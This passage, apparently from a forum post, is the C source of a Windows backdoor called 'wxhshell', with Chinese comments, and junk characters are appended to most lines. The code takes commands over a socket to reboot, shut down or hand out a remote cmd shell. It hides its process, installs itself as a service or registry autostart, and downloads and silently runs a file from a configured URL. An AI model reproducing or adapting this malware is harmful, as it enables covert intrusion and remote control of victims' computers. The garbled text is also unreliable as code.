    break; U$MWsDn   
  } ?< -wHj)  
  // 安装 =mDy@%yx!  
  case 'i': { IJ+O),'  
    if(Install()) _a?wf!4>P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q1]V|S;)X  
    else ]Fb8.q5(Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s$Ic DuBu  
    break; ~oEXM ?M  
    } Xcs8zT  
  // 卸载 [^cs~ n4  
  case 'r': { ")fOup@ ^a  
    if(Uninstall()) ? +5" %4o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V6A5(-%`y  
    else +#&el//  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O@G<B8U,K  
    break; 0V{>)w!Fo  
    } $%lHj+(  
  // 显示 wxhshell 所在路径 g{rt^B  
  case 'p': { I8XGU)  
    char svExeFile[MAX_PATH]; yz54:q?  
    strcpy(svExeFile,"\n\r"); c%o5 E%  
      strcat(svExeFile,ExeFile); I^6c 0`  
        send(wsh,svExeFile,strlen(svExeFile),0); L5hQdT/b$  
    break; 7{?lEQ&UE  
    } BBaHM sr  
  // 重启 54, Ju'r  
  case 'b': { BA`kxL/x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *fOS"-C L  
    if(Boot(REBOOT)) }W^V^i)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _N[^Hl`\  
    else { Yb,G^+;  
    closesocket(wsh); S(q4OQ B{  
    ExitThread(0); e7)>U!9c9  
    } z:@d@\$?  
    break; +]aD^N9['  
    } VQZT.^  
  // 关机 bQ${8ZO  
  case 'd': { Udb0&Y1^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~:'gvR;x  
    if(Boot(SHUTDOWN)) s (l+{b &  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ee__3>H"/  
    else { rd f85%%7  
    closesocket(wsh); ?j},O=JFn  
    ExitThread(0); {EiG23!qV  
    } }W Bm%f  
    break; T%z!+/=&^  
    } *X"F:7  
  // 获取shell 2n"*)3Qj  
  case 's': { X.r!q1_c  
    CmdShell(wsh); +'{:zN5m  
    closesocket(wsh); 3R Y|l?n>  
    ExitThread(0); J:M<9W  
    break; U O{xpY  
  } d1C/u@8^  
  // 退出 )%-\hl]  
  case 'x': { 4cv|ok8P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]lG_rGw  
    CloseIt(wsh); P17]}F``  
    break; $n_sGr  
    } Rqv+N]  
  // 离开 T`0`]z!~  
  case 'q': { Mz% d_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]xVL11p  
    closesocket(wsh); SO8|]Fk  
    WSACleanup(); *o2_EqXL*  
    exit(1); GtGyY0  
    break; 8k*k  
        } ]c~rPi  
  } n^I|}u\  
  } &El[  
g tSHy*3]  
  // 提示信息 42H#n]Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _3g %F  
} o 2$<>1^  
  } Qcy+ {j]  
=-#iXP@  
  return; 'ra_Zg[j  
} ))we\I__8  
5,I*F9[3  
// shell模块句柄 Av[|.~g  
int CmdShell(SOCKET sock) LO Yyj?^7  
{ GO&RR}  
STARTUPINFO si; xf3/<x!B  
ZeroMemory(&si,sizeof(si)); jDkc~Wwa  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .Jnp{Tet  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3k|~tVM  
PROCESS_INFORMATION ProcessInfo; PhaQ3%  
char cmdline[]="cmd"; %%H. &*i,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); itvy[b-*  
  return 0; kk>0XPk  
} ".7 KEnx  
<=LsloI  
// 自身启动模式 ,YuWz$aF{  
int StartFromService(void) +HVG5l  
{ wNlV_  
typedef struct 1OJD\wc  
{ ok W)s*7  
  DWORD ExitStatus; 6CzvRvA*P  
  DWORD PebBaseAddress; ,J4a~fPf  
  DWORD AffinityMask; -a#AE|`  
  DWORD BasePriority; +[go7A$5  
  ULONG UniqueProcessId; p>hCh5  
  ULONG InheritedFromUniqueProcessId; :X'U`jE  
}   PROCESS_BASIC_INFORMATION; )SO1P6  
V3Rnr8  
PROCNTQSIP NtQueryInformationProcess;   ]q\=  
'$&(+>)z `  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1pBsr(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3  %{'Uh,  
%nK 15(  
  HANDLE             hProcess; S7~l%G>]b  
  PROCESS_BASIC_INFORMATION pbi; 0yEyt7 ~@  
)SZ,J-H08w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5=;I|l,  
  if(NULL == hInst ) return 0; `J;/=tf09  
d%|#m)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !D]6Cq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d3q/mg5a  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4pHPf<6  
k?*DBXJv  
  if (!NtQueryInformationProcess) return 0; =u1w\>(2Y  
,)\5O0 D6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `oI/;&  
  if(!hProcess) return 0; x'PjP1  
"7u"d4h-:(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H@bmLq  
7'l{I'Z  
  CloseHandle(hProcess); x#xO {  
?p\II7   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _-2n3py  
if(hProcess==NULL) return 0; _|V+["IS  
V,%5 hl'&  
HMODULE hMod; %)@(T ye -  
char procName[255]; 7]+'%Uwu)  
unsigned long cbNeeded; yeh adm\  
k*+ZLrT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); oXOO 10  
4Og GZ  
  CloseHandle(hProcess); in|7ucSlg  
fP4IOlHkE  
if(strstr(procName,"services")) return 1; // 以服务启动 a5g{.:NfO  
RwLdV+2\R`  
  return 0; // 注册表启动 ?^A:~"~  
} ,lGwW8$R  
?;kc%Rz  
// 主模块 =kkA  
int StartWxhshell(LPSTR lpCmdLine) Z["nY&.sI  
{ ~5?n&pF  
  SOCKET wsl; D&lXi~Z%.  
BOOL val=TRUE; ,Onm!LI=  
  int port=0; lfG&V +S1  
  struct sockaddr_in door; wtick~)  
[~%;E[ky$  
  if(wscfg.ws_autoins) Install(); ,oVBgCf  
?;QKe0I^  
port=atoi(lpCmdLine); Y:Tt$EQ  
-2~ yc2:>A  
if(port<=0) port=wscfg.ws_port; {Q3#]Vu  
5m;wMW<  
  WSADATA data; zEL[%(fnc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +4vX+;: br  
&(1NOyX&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G U/k^ Qy  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NjMLq|X  
  door.sin_family = AF_INET; H[yLl v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Sgk{NM7|k  
  door.sin_port = htons(port); %R5MAs&-5  
-]MP,P%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uy%PTi+A  
closesocket(wsl); -5B([jHgR  
return 1; 43]&SXprH  
} X-WvKH(=w  
fmyS# 6"  
  if(listen(wsl,2) == INVALID_SOCKET) { dfd%A" I  
closesocket(wsl); 8+b3u05  
return 1; r_CN/a  
} v~=ol8J B  
  Wxhshell(wsl); eEFT(e5.>3  
  WSACleanup(); eWs^[^c.<  
Z ' 96d  
return 0; Q%h o[KU  
/{} ]Hu  
} I!#^F 1p1  
fxa^SV   
// 以NT服务方式启动 7im;b15j`'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "qp_*Y  
{ aM1JG$+7G  
DWORD   status = 0; cHd39H9  
  DWORD   specificError = 0xfffffff; d$ 7 b  
)y Y;%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bhT]zsBK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2UJ0%k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; : \`MrI^  
  serviceStatus.dwWin32ExitCode     = 0; =l_"M  
  serviceStatus.dwServiceSpecificExitCode = 0; ~1!kU 4  
  serviceStatus.dwCheckPoint       = 0; 'hWRwP|  
  serviceStatus.dwWaitHint       = 0; D1/$pA+B  
=jHy6)6w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NP/2gjp  
  if (hServiceStatusHandle==0) return; Z@u mbyM  
gQG iph |  
status = GetLastError(); eT?LMBn\  
  if (status!=NO_ERROR) . 2Q/D?a  
{ 7K4%`O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hY'%SV p  
    serviceStatus.dwCheckPoint       = 0; ;sJ2K"c  
    serviceStatus.dwWaitHint       = 0; t)+dW~g  
    serviceStatus.dwWin32ExitCode     = status; &(7Io?  
    serviceStatus.dwServiceSpecificExitCode = specificError; zYJxoC{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '^AXUb  
    return; (J#3+I  
  } ?2Dz1#%D  
Kj5f:{Ur  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *a@UV%u  
  serviceStatus.dwCheckPoint       = 0; )9,"~P2[R  
  serviceStatus.dwWaitHint       = 0; #$QY[rf=6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ttRH[[E(  
} zW.sXV,  
9|DC<Zn&B#  
// 处理NT服务事件,比如:启动、停止 ;c}];ZU3G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vnpX-c  
{ W5{e.eI}|  
switch(fdwControl) n&JP/P3Y  
{ dy'?@Lj;  
case SERVICE_CONTROL_STOP: B&D z(Bs  
  serviceStatus.dwWin32ExitCode = 0; 8tk`1E8!j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HDxw2nz*R  
  serviceStatus.dwCheckPoint   = 0; &*SnDuc  
  serviceStatus.dwWaitHint     = 0; !ZdUW]  
  { .? / J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zvj\n9H  
  } HB:i0m2fJW  
  return; !9NAm?Fw  
case SERVICE_CONTROL_PAUSE: sP7(1)\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2e=Hjf )  
  break; $4]PN2d&  
case SERVICE_CONTROL_CONTINUE: gd*?kXpt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WdnP[x9  
  break; ozG:f*{T  
case SERVICE_CONTROL_INTERROGATE: egvWPht'_  
  break; 9IV WbJ  
}; ?i"FdpW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <NO~TBHF  
} UQ?8dw:E~  
sjGZ ,?%  
// 标准应用程序主函数 7\ lb+^$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cCs:z   
{ WBIS  
4vphLAm  
// 获取操作系统版本 4{pa`o3  
OsIsNt=GetOsVer(); wr(?L7 $+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |Rc#Q<Vh|  
n66 _#X  
  // 从命令行安装 =G :H)i  
  if(strpbrk(lpCmdLine,"iI")) Install(); v;7u"9t  
<}%*4mv  
  // 下载执行文件 DFMWgBL  
if(wscfg.ws_downexe) { ua-p^X`w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AH+J:8k  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0Og =H79<  
} I6_+3}Hm{  
lVHJ}(<'p  
if(!OsIsNt) { WP9=@X Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 :C5N(x  
HideProc(); 7_,X9^z  
StartWxhshell(lpCmdLine); -u{:39y{n  
} dmne+ufB  
else 2NM} u\%c/  
  if(StartFromService()) ;a"Ukh  
  // 以服务方式启动 YQOGxSi  
  StartServiceCtrlDispatcher(DispatchTable); h?sh#j6  
else v.MWO]L  
  // 普通方式启动 4m:E:zVn  
  StartWxhshell(lpCmdLine); vbp)/I-h  
)C[8#Q-:  
return 0; +]X^bB[  
}
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只看该作者 1 发表于: 2006-10-10
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